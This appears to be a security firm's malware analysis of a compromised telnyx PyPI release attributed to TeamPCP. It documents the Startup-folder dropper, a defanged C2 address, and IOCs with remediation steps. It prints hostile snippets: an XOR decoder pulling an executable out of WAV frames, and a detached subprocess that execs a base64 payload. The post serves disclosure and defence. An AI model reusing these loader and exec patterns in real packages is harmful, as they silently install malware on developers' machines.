New .WAV of TeamPCP malware

Published on March 27, 2026

Telnyx PyPI supply chain compromise

Executive Summary

Malicious releases of telnyx (4.87.1, 4.87.2) were published to PyPI in a supply chain compromise of the official Telnyx Python SDK, a widely-used communications platform library.

The payload executes at import time, drops a persistent executable into the Windows Startup folder disguised as msbuild.exe, and retrieves an XOR-encrypted binary hidden inside a WAV audio file fetched from a remote C2. On non-Windows systems, a detached Python subprocess executes a secondary base64-encoded payload. The legitimate SDK symbols are re-exported to avoid raising suspicion in developer environments.

Ossprey dashboard detecting malicious telnyx packages

Key Judgments

  1. Is this a typosquat? No. This is a compromise of the official telnyx package, not an impersonator.
  2. What is unique? The use of WAV steganography to deliver the final payload is an uncommon evasion technique in PyPI malware.
  3. Who is at risk? Any developer or CI pipeline that ran pip install telnyx or upgraded to 4.87.1/4.87.2 during the exposure window.
  4. Was this preventable? Yes, with behavioural diff tooling that flags install-time execution, outbound beaconing, and obfuscated strings in new releases.



Who is TeamPCP?

This compromise is the latest in an escalating campaign by TeamPCP (also tracked as PCPcat, ShellForce, CipherForce), a threat actor group targeting cloud-native infrastructure and developer tooling since late 2025. Their playbook is consistent: compromise one target, harvest credentials, and chain forward into the next.

Timeline

DateEventDetail
Feb 27Trivy initial compromiseTeamPCP exploits a GitHub Actions misconfiguration to steal a service account PAT
Mar 1Aqua disclosureCredentials rotated, but a write-access token survives
Mar 19Trivy supply chain attackMalicious tags force-pushed across trivy-action and setup-trivy. Backdoored binaries distributed via Docker Hub, GHCR, and ECR
Mar 22Secondary Docker pushMalicious images v0.69.5 and v0.69.6 pushed to Docker Hub. C2 infrastructure goes active
Mar 23-24KICS compromisedCheckmarx OpenVSX extension hijacked via stolen credentials
Mar 24LiteLLM compromisedPyPI versions 1.82.7, 1.82.8 published using tokens harvested from Trivy CI/CD. C2 uses Telnyx infrastructure
Mar 27Telnyx SDK compromisedOssprey detects malicious PyPI versions 4.87.1, 4.87.2 - this post

The pattern is clear: each compromise feeds credentials into the next. Trivy’s CI/CD exposed tokens for LiteLLM. LiteLLM’s infrastructure overlaps with Telnyx. This is not a one-off incident - it is a cascading supply chain campaign, and it is still developing.

For our full analysis of the Trivy incident, see our earlier post: Trivy Supply Chain Attack




Technical Breakdown

Execution Vector

The malicious code is injected into the package entry point and runs at import time via calls to Setup() and FetchAudio() appended after the legitimate SDK exports.


String Obfuscation

All sensitive strings are base64-encoded and decoded at runtime via a _d() helper function, bypassing naive string-based static analysis.

EncodedDecoded
QVBQREFUQQ==APPDATA
TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwMicrosoft\Windows\Start Menu\Programs\Startup
bXNidWlsZC5leGU=msbuild.exe
aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==hxxp://83[.]142[.]209[.]203:8080/hangup.wav
VXNlci1BZ2VudA==User-Agent
TW96aWxsYS81LjA=Mozilla/5.0

Windows Dropper - Setup()

Triggers only on Windows (os.name == 'nt'). The routine:

  1. Targets the Startup folder for persistence on every user login, dropping a payload named msbuild.exe to masquerade as a legitimate Microsoft binary:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe
  1. Anti-reinfection lock: Writes a hidden .lock file via attrib +h. If the lock file is under 12 hours old (43,200 seconds), the routine exits - a basic sandbox and re-execution deterrent.

  2. C2 retrieval: Fetches hangup.wav from hxxp://83[.]142[.]209[.]203:8080/hangup.wav using a spoofed Mozilla/5.0 User-Agent to blend with browser traffic. The payload is extracted via WAV steganography (see below).

  3. Silent execution: The decrypted binary is launched with creationflags=0x08000000 (CREATE_NO_WINDOW), leaving no visible window.

  4. Cleanup: The temporary .tmp file is deleted after extraction.


WAV Steganography - Hiding an Executable in Audio

The standout technique in this sample - and the reason for the post title - is the use of audio steganography to deliver the final payload. Rather than hosting a raw executable or a base64 blob on the C2 (both of which are trivially flagged by network inspection and EDR), the attacker wraps the payload inside a .wav file.

The file hangup.wav is a structurally valid WAV container. It will open in an audio player without error. But the audio frame data is not sound - it is a base64-encoded, XOR-encrypted PE executable.

The extraction routine uses Python’s built-in wave module:

with wave.open(t, 'rb') as w:
    b = base64.b64decode(w.readframes(w.getnframes()))
    s, m = b[:8], b[8:]
    payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))])
    with open(p, "wb") as f:
        f.write(payload)

Step by step:

  1. w.readframes(w.getnframes()) reads the raw audio sample data from all frames in the WAV file
  2. base64.b64decode() decodes the frame bytes from base64, revealing an encrypted blob
  3. The first 8 bytes (s) are split off as the XOR key
  4. The remaining bytes (m) are the ciphertext
  5. Each byte of the ciphertext is XORed with the corresponding key byte (cycling every 8 bytes) to produce the final PE executable

Why this matters:

  • Network evasion: The HTTP response carries a valid .wav file with an audio MIME type. Content-type inspection, proxy filters, and basic DPI will not flag it
  • Static analysis resistance: The payload never exists in plaintext on disk until the final write. The WAV file itself looks benign
  • Low tooling overhead: The entire decryption chain uses only Python standard library modules (wave, base64) - no third-party dependencies that might raise suspicion
  • Dual purpose naming: The filename hangup.wav reinforces the illusion that this is a legitimate audio asset, particularly given that Telnyx is a communications/telephony platform

The C2 server at 83[.]142[.]209[.]203:8080 is now offline. We were unable to retrieve the WAV file for further analysis of the embedded executable.


Non-Windows Payload - FetchAudio()

On Linux and macOS, a fully detached subprocess executes a base64-encoded Python payload:

subprocess.Popen(
    [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL,
    start_new_session=True
)

The _p variable contains the secondary payload and was not included in the analysed sample. Full package extraction is required for complete analysis.


SDK Masquerade

Client = Telnyx
AsyncClient = AsyncTelnyx

Legitimate SDK symbols are re-exported after the malicious routines run, making the package appear fully functional to developers who spot-check imports.


OS Targeting

Primary focus is Windows developer and CI environments via the Startup dropper. Linux and macOS systems receive a secondary Python-based payload. Both paths activate at import time with no user interaction required.




What Should You Do

  1. Triage & Contain - Audit pip freeze and requirements.txt across all environments. If telnyx==4.87.1 or telnyx==4.87.2 is present, treat the environment as compromised. Pin to a known-good prior version (4.86.x or earlier) and rebuild images.
  2. Hunt for the Dropper - Check for msbuild.exe in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\. This is never a legitimate location for msbuild. Also check for the accompanying .lock and .tmp files.
  3. Rotate Credentials - Any environment where the affected versions were imported must have credentials rotated, including but not limited to:
    • Telnyx API keys
    • Any secrets accessible to the Python process at runtime
    • Cloud credentials (AWS/Azure/GCP) if present in the environment
    • CI/CD secrets and tokens
  4. Block the C2 - Firewall 83[.]142[.]209[.]203 immediately and hunt for outbound HTTP connections to port 8080 at this IP across your estate.
  5. Report - Notify PyPI security at security@pypi.org. Notify Telnyx directly so they can issue an advisory and publish a clean release.
  6. Strengthen Publisher Hygiene - Enforce MFA on PyPI accounts, use scoped short-lived publish tokens, and run behavioural diff tooling on new releases before they reach consumers.



Affected Versions

PackageVersion(s)
telnyx4.87.1, 4.87.2

Pin to 4.86.x or earlier until Telnyx confirms a clean release.




IOCs

  • Affected Package: telnyx v4.87.1, v4.87.2
  • C2 Server: 83[.]142[.]209[.]203:8080
  • C2 Resource: hxxp://83[.]142[.]209[.]203:8080/hangup.wav
  • Dropped File: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe
  • Lock File: ...Startup\msbuild.exe.lock
  • Temp File: ...Startup\msbuild.exe.tmp
  • Spoofed User-Agent: Mozilla/5.0

SHA-256 Hashes (Malicious Artifacts)

  • telnyx-4.87.1-py3-none-any.whl - 7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9
  • telnyx-4.87.2-py3-none-any.whl - cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3



MITRE ATT&CK

IDTechnique
T1195.001Supply Chain Compromise: Compromise Software Supply Chain
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
T1027Obfuscated Files or Information
T1036.005Masquerading: Match Legitimate Name or Location
T1071.001Application Layer Protocol: Web Protocols
T1027.003Obfuscated Files or Information: Steganography
T1059.006Command and Scripting Interpreter: Python



Citations and Acknowledgements